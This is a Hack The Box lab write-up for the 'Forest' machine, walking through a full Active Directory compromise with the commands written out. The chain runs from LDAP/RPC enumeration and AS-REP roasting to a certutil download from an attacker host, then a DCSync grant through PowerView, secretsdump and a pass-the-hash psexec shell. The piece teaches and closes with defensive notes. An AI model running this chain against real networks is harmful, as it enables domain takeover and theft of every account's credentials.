HTB: Forest

Forest is what an AD attack chain looks like when you execute it methodically from nothing. No exploits, no brute force, no guesswork — just enumeration feeding into a BloodHound graph that maps a precise path from anonymous LDAP access to full domain compromise. The box earns its “Easy” rating only in the sense that the techniques are well-documented. The reasoning required to chain them together is not trivial, and understanding why each step works is what makes this box worth writing about.

Anonymous LDAP + RPC enum→svc-alfresco via rpcclient→AS-REP roast → s3rvice→WinRM foothold→BloodHound: Account Operators→New user → Exchange Windows Permissions→WriteDACL → DCSync → Domain Admin

Recon

Nmap scan

The full port scan signature is immediately recognisable as a domain controller: DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), WinRM (5985), RPC clusters on the high ports. Domain name leaks from the LDAP banner — htb.local. OS fingerprint is Windows Server 2016.

SMB anonymous access succeeds but returns no accessible shares — a dead end, noted and moved past. LDAP anonymous bind is open, which is the real entry point.

Enumeration — building the user list

The first LDAP query pulls usernames and display names. The output is dense: the domain runs Microsoft Exchange, which means a large number of Exchange system mailbox accounts alongside the human users. Filtering through the noise surfaces five real users — Sebastien, Lucinda, Andy, Mark, Santi — plus the Guest and DefaultAccount built-ins.

ldapsearch -x -H ldap://10.129.56.116 -b "DC=htb,DC=local" -s sub \
  "(objectCategory=person)" sAMAccountName displayName \
  | egrep "sAMAccountName|displayName" > kerb.txt

A second, broader query requesting all user object attributes reveals OU memberships and account flags. The password policy check via crackmapexec confirms no account lockout threshold — password spraying is safe in principle. A spray against the known user list with rockyou fails. No weak passwords on the human accounts.

The critical step comes from switching enumeration tool. rpcclient with a null session runs enumdomusers and returns a user that didn't appear in the LDAP output: svc-alfresco. A service account — and service accounts are worth immediate attention in AD environments.

rpcclient -U "" -N 10.129.56.116 -c enumdomusers

Why rpcclient found what LDAP didn’t: The initial LDAP filter used objectCategory=person, which maps to human user objects. Service accounts are also person objects, but can be placed in OUs that a filtered query might miss depending on scope. Running enumdomusers via RPC enumerates the full SAM database directly, which bypasses any LDAP filter assumptions. When building a user list, use multiple enumeration methods and compare the outputs.

AS-REP roasting — svc-alfresco

Service accounts configured to run application services sometimes have Kerberos pre-authentication disabled — the UF_DONT_REQUIRE_PREAUTH flag. When this flag is set, the KDC will issue an AS-REP ticket to anyone who asks, without requiring the requester to prove they know the account's password first. That AS-REP contains material encrypted with the account's password hash, which can be taken offline and cracked.

Impacket’s GetNPUsers.py checks a list of accounts for this flag and captures the AS-REP hashes where it's set:

GetNPUsers.py -dc-ip 10.129.56.116 -request 'htb.local/' -no-pass

svc-alfresco returns a hash. Hashcat with rockyou and the InsidePro rules cracks it immediately:

hashcat -m 18200 hashes/svc-alfresco /usr/share/wordlists/rockyou.txt \
  -r rules/InsidePro-PasswordsPro.rule

Result: svc-alfresco : s3rvice.

Pro Tip: I moved to using hashcat on my local windows machine where I am able to use my GPU to crack the passwords. The difference in speed is unbelievable.

WinRM is open. The credential works.

evil-winrm -u svc-alfresco -p s3rvice -i 10.129.56.116

Evil Winrm for the win!

Why AS-REP roasting exists as a problem: Pre-authentication is a Kerberos security feature added specifically to prevent offline cracking of AS-REP material. Disabling it is sometimes done for legacy application compatibility — certain older Kerberos clients don’t support pre-auth. The result is that any unauthenticated user on the network can request a crackable ticket for that account. Service accounts often have this flag set and are rarely monitored for authentication failures, making them quiet targets.

BloodHound — mapping the path

With a shell established, winPEAS runs for local privilege escalation checks. Nothing compelling surfaces from the local enumeration. The interesting findings will be in the AD graph, not on the local machine. SharpHound is uploaded and executed to collect the BloodHound data:

certutil -urlcache -f http://10.10.14.17/SharpHound.exe SharpHound.exe
.\SharpHound.exe -c All

The collected zip is pulled back to the attack machine and loaded into BloodHound. The query “Shortest Paths from Owned Principals” with svc-alfresco marked as owned immediately surfaces the attack path.

BloodHound

The graph shows: svc-alfresco is a member of the Account Operators group. Account Operators can create domain users and add them to most groups. One of those groups — Exchange Windows Permissions — holds a WriteDACL right on the htb.local domain object. WriteDACL means the ability to write new Access Control Entries onto the domain — including granting DCSync rights.

What WriteDACL on the domain object actually means: DCSync is not a single Windows feature — it’s a technique that abuses the legitimate Active Directory replication protocol. Domain controllers use the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights to synchronise directory data between DCs. Any account granted these rights can impersonate a DC and request password hashes for any domain account, including the Administrator, using tools like secretsdump.py. WriteDACL lets you grant yourself those rights. This is why ACL auditing in AD matters enormously — a single misconfigured permission on the domain object is full domain compromise.

Exploitation — the ACL abuse chain

The chain executes in three steps. First, create a new domain user using the Account Operators privilege that svc-alfresco inherits:

net user cheshire Passw0rd! /add /domain

Second, add that user to the Exchange Windows Permissions group to inherit its WriteDACL right on the domain object:

net group "Exchange Windows Permissions" /add cheshire

Check out this wolf

Third, use PowerView to abuse the WriteDACL right — granting the new user DCSync permissions on htb.local:

Import-Module .\PowerView.ps1
$pass = ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\cheshire', $pass)
Add-DomainObjectACL -TargetIdentity "htb.local" -PrincipalIdentity "cheshire" \
  -Rights DCSync -Credential $cred

Why use a new user instead of svc-alfresco directly: svc-alfresco is not itself a member of Exchange Windows Permissions — it has Account Operators membership, which grants the ability to add users to that group. Adding svc-alfresco directly to Exchange Windows Permissions and granting it DCSync rights would work but leaves a more obvious trail on a real engagement. The cleaner move is to create a purpose-built account, use it for the operation, and clean up afterward. On a live assessment, that cleanup matters.

DCSync → Domain Admin

With DCSync rights on htb.local, secretsdump.py impersonates a domain controller and requests the full NTDS replication — pulling every password hash in the domain:

secretsdump.py htb/cheshire:'Passw0rd!'@10.129.33.28

The Administrator NTLM hash comes out immediately. Pass-the-Hash confirms it’s valid, then psexec drops a SYSTEM shell:

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 \
  administrator@10.129.33.28

whoami
nt authority\system

Full domain compromise. Every account, every hash, every secret in htb.local is accessible.

What this box is actually about

Forest demonstrates something that’s easy to miss when you’re learning AD attacks one technique at a time: the individual vulnerabilities here — AS-REP roasting, WriteDACL abuse, DCSync — are each well-documented and individually understood by most defenders. What makes Forest dangerous is that it shows how they chain. A service account with pre-auth disabled leads to group membership that leads to an ACL right that leads to full domain replication. None of these steps is especially sophisticated in isolation. Together, they constitute complete domain takeover from an unauthenticated starting position.

BloodHound deserves specific recognition here. Without it, the path from svc-alfresco to Domain Admin is not obvious. The Account Operators → Exchange Windows Permissions → WriteDACL → DCSync chain spans multiple objects and permission types that would take hours to discover manually. BloodHound sees it in seconds. Learning to use BloodHound effectively — not just running it, but understanding how to query it, what the edge types mean, and how to reason about the graph — is one of the highest-value skills in AD offensive work.

The Exchange Windows Permissions → WriteDACL vector is worth a specific note for anyone reading this from a defensive angle. The misconfiguration comes directly from how Microsoft Exchange historically integrated with Active Directory, granting its management groups broad ACL rights on the domain object. Many organisations running on-premises Exchange have this configuration and have never audited it. It is a known, documented issue with a known fix — and it remains present in real environments constantly.